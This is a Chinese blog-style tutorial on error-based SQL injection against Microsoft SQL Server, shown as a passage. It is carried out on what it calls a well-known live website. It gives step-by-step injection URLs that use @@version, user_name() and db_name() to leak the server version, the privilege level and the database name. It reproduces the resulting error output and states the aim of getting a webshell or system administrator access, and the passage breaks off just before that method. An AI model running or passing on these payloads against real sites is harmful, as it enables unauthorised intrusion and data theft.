Welcome

首页 / 数据库 / SQLServer / 榨干MSSQL Server最后一滴血

榨干MSSQL Server最后一滴血2007-12-26amanl风云变换的,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。

MS SQL内置函数介绍:

@@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

这些信息有助我们对系统进行简单的了解

好,下面我们就开始吧!

语句: http://www.xxx.com/list.asp?classid=1"

返回信息:

Microsoft OLE DB Provider for SQL Server 错误 "80040e14" 字符串 " Order By Id DESC" 之前有未闭合的引号。 /list.asp,行290

从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:

语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

返回:

Microsoft OLE DB Provider for SQL Server 错误 "80040e07" 将 nvarchar 值 "Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) " 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

语句:http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

返回: 正常返回的信息

确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。

返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

返回:Microsoft OLE DB Provider for SQL Server 错误 "80040e07" 将 nvarchar 值 "dbo" 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 "80040e07" 将 nvarchar 值 "GameIMGSys" 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到: